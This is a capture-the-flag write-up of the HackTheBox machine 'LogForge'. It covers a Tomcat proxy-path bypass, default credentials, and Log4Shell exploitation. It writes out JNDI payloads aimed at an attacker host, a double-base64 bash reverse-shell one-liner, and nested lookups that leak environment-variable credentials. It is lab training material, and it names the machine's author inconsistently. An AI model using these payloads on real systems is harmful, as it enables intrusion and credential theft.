HTB: LogForge Writeup

LogForge - HackTheBox Writeup

Machine Information

AttributeDetails
NameLogForge
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

LogForge fronts an Apache Tomcat instance behind an Apache HTTPD reverse proxy. The proxy blocks direct access to the Tomcat Manager, but a classic reverse-proxy path-normalization bypass reopens it, and default credentials get us in. From there, Tomcat’s Manager surface is vulnerable to Log4Shell (CVE-2021-44228), giving JNDI-based remote code execution and a shell as tomcat. A root-owned Java FTP server on the box turns out to log usernames through the same vulnerable Log4j library — so the exact same class of bug is abused a second time, this time to leak the ftp_user/ftp_password environment variables straight out of the process. Logging into the root FTP service with the leaked creds hands over root.txt.

TL;DR: Apache→Tomcat ..;/ reverse-proxy bypass → tomcat:tomcat default creds → Log4Shell JNDI RCE on Tomcat Manager → shell as tomcat → root-owned Java FTP server also vulnerable to Log4Shell → leak ftp_user/ftp_password env vars → authenticate to root FTP service → root flag.


Reconnaissance

Port Scanning

Terminal window
# Standard version/script scan against the target
nmap -sC -sV -T4 -p- TARGET_IP

Results: SSH open, plus an Apache HTTPD front end on port 80. Direct requests to /manager and /admin came back 403 Forbidden — Apache HTTPD is reverse-proxying to a backend Tomcat instance and explicitly denying those paths at the proxy layer.

Service Enumeration

Apache HTTPD in front of Tomcat is a well-known pairing for one specific bypass class: Tomcat interprets ; inside a path segment as a parameter delimiter, and will collapse a URL segment like /anything/..;/manager/html back down to /manager/html after Apache’s proxy has already made its forwarding decision on the pre-normalized path. Apache sees a harmless path and forwards it; Tomcat resolves it into the blocked one.

Terminal window
# The Orange Tsai reverse-proxy path-traversal bypass:
# Apache HTTPD proxies the request without normalizing ..;/
# Tomcat then treats ..;/ as ../ during its own path normalization
curl -u tomcat:tomcat "http://TARGET_IP/anything/..;/manager/html"

Vulnerability Assessment

  • Reverse-proxy path normalization mismatch → Tomcat Manager reachable despite the Apache-level 403.
  • tomcat:tomcat default credentials valid against the Manager.
  • Tomcat 9.x itself ships no vulnerable Log4j dependency, but web applications deployed on top of it can — and here, one does, giving Log4Shell (CVE-2021-44228) a foothold via the Manager application context.

Initial Foothold

Exploitation Path

With Manager access via the ..;/ bypass and tomcat:tomcat, the deployed application logs attacker-influenced input through a vulnerable Log4j2 version. Sending a JNDI lookup payload into a logged parameter (e.g. via the Manager’s expire endpoint) triggers an outbound LDAP callback, confirming Log4Shell:

Terminal window
# Confirm Log4Shell: any logged field that reflects into log4j's formatter
# triggers a callback to our listener when it contains a JNDI lookup
curl -u tomcat:tomcat \
"http://TARGET_IP/anything/..;/manager/html/expire?path=%24%7Bjndi:ldap://ATTACKER_IP:1389/a%7D"
# Confirmation listener
nc -lvnp 1389

Once the callback lands, the next step is weaponizing it into RCE with a ysoserial-style deserialization gadget served over LDAP/RMI (JNDI Exploit Kit pattern):

Terminal window
# The target JVM matched an older Java runtime — a JDK 21 gadget
# built on the jump box would not deserialize correctly. Had to pull
# and use JDK 8 specifically to build/serve a compatible gadget chain,
# since the serialized class format and reflection internals used by
# the CommonsCollections gadgets are version-sensitive.
sdk install java 8.0.402-tem
sdk use java 8.0.402-tem
java -jar JNDI-Exploit-Kit.jar

The reverse shell command itself hit a second environmental snag: the process that ultimately executes the payload runs under /bin/sh (dash), which doesn’t understand bash’s >& fd-merge redirection used in a standard bash -i >& /dev/tcp/ATTACKER_IP/LPORT 0>&1 one-liner — it just fails to parse. Fix was to base64-wrap the bash-specific command and force it through bash explicitly rather than letting the default sh interpret it directly, then base64-wrap that again so the outer JNDI payload delivery layer didn’t mangle special characters in transit:

Terminal window
# Layer 1: encode the actual bash reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/LPORT 0>&1' | base64 -w0
# -> produces INNER_B64
# Layer 2: wrap a decode-and-execute-via-bash command, then encode that too,
# so the JNDI payload only ever carries one opaque blob through dash
echo "echo INNER_B64|base64 -d|bash" | base64 -w0
# -> produces OUTER_B64, delivered as the JNDI exploit's exec_unix argument
Terminal window
# Catch the shell
nc -lvnp LPORT

This lands code execution as tomcat.


Privilege Escalation

tomcat → root

Enumerating running processes from the tomcat shell revealed a root-owned Java process running a custom FTP server jar, bound only to localhost. A readable copy of the jar was located elsewhere on the filesystem and pulled back for static analysis. Decompiling it showed the FTP server’s username-handling routine logs the supplied username through the same vulnerable Log4j2 dependency — without ever touching the connection’s password, meaning the exact class of bug already used for RCE (CVE-2021-44228) applies again here, this time purely for JNDI-based information disclosure rather than code execution.

Log4Shell’s JNDI lookups aren’t limited to remote-class-loading RCE — ${jndi:ldap://...} will happily resolve nested lookups too, including ${env:VARNAME}, and exfiltrate the resolved value in the outbound LDAP request name. Since the FTP server’s credential-check logic reads its expected username/password out of environment variables, those variables can be leaked without ever touching disk or needing shell access to the root-owned process:

Terminal window
# From the tomcat shell, re-trigger the Log4Shell listener/exploit kit,
# then feed nested env-var lookups as the "username" into the local
# root-owned FTP service — the FTP server's own logging call leaks them
# back to our LDAP listener as the referenced object name
ftp localhost
# Name: ${jndi:ldap://ATTACKER_IP:1389/user:${env:ftp_user}}
# Password: ${jndi:ldap://ATTACKER_IP:1389/user:${env:ftp_password}}

The JNDI listener’s log shows the LDAP lookup names it received, which contain the resolved ftp_user and ftp_password values. Authenticating to the root FTP service with those creds gives directory access to /root:

Terminal window
# Log back into the FTP service with the leaked credentials
ftp localhost
# Name: <leaked ftp_user>
# Password: <leaked ftp_password>
ftp> ls
ftp> get root.txt
Terminal window
cat root.txt
# <redacted>

Attack Chain Summary

Nmap recon (SSH + Apache HTTPD reverse-proxying Tomcat)
→ Orange Tsai ..;/ reverse-proxy path-traversal bypass reaches /manager
→ tomcat:tomcat default credentials authenticate to Tomcat Manager
→ Log4Shell (CVE-2021-44228) JNDI RCE via a logged Manager parameter
→ JDK 8 required to build a compatible ysoserial/JNDI gadget (JDK 21 gadget failed)
→ double-base64-wrapped payload works around dash's lack of `>&` support
→ reverse shell as tomcat
→ user.txt
→ root-owned Java FTP server jar found + reversed, logs username via Log4j2
→ second Log4Shell payload: ${jndi:ldap://.../user:${env:ftp_user}} leaks env vars
→ authenticate to root-only FTP service with leaked ftp_user/ftp_password
→ root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
curlManual HTTP requests to trigger the reverse-proxy bypass and Log4Shell payloads
JNDI Exploit Kit / ysoserial-style gadgetsBuilding the JNDI/LDAP deserialization RCE chain
JDK 8Building a gadget chain compatible with the target JVM (JDK 21 on the jump box broke it)
ncCatching the reverse shell and the JNDI/LDAP callback listener
base64Double-encoding the reverse-shell one-liner to survive dash and the JNDI payload transport
Java decompilerReversing the root-owned FTP server jar to find the Log4j username-logging call
ftpAuthenticating to the root-only FTP service and retrieving root.txt

Key Learnings

Techniques Practiced

  • Reverse-proxy path-normalization bypass (..;/) to reach a proxy-blocked Tomcat Manager
  • Default-credential exploitation against Tomcat Manager
  • Log4Shell (CVE-2021-44228) exploitation for both RCE and, separately, environment-variable disclosure via nested JNDI/${env:} lookups
  • JVM-version-sensitive gadget chain selection for Java deserialization exploits
  • Shell-dialect-aware payload construction (bash vs sh/dash) via encoding

Lessons Learned

  1. A 403 at the reverse-proxy layer is not a 403 at the backend. Apache HTTPD and Tomcat can disagree on path normalization; always test ..;/-style bypasses against any Apache-fronted Tomcat.
  2. Deserialization gadget chains are JVM-version-fragile. A gadget built under a modern JDK (21) silently failed against this target — matching the builder JDK to the target’s expected runtime (JDK 8) was the fix, not a gadget bug.
  3. Log4Shell is not just an RCE primitive. The same ${jndi:...} mechanism resolves nested ${env:...} lookups and exfiltrates them via the outbound LDAP object name — useful for credential leakage even when RCE against a given process isn’t the goal.
  4. /bin/sh isn’t bash. Reverse-shell one-liners using >& fail silently or error under dash; wrapping the payload in base64 and explicitly invoking bash sidesteps shell-dialect mismatches entirely.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • ctrlzero, “LogForge” — HackTheBox writeup (machine author: ippsec), used here for background on the Orange Tsai reverse-proxy path-traversal technique, the Log4Shell (CVE-2021-44228) JNDI exploitation chain, and the root-owned Java FTP server’s Log4j-based username logging.
  • CVE-2021-44228 — Apache Log4j2 JNDI RCE (“Log4Shell”).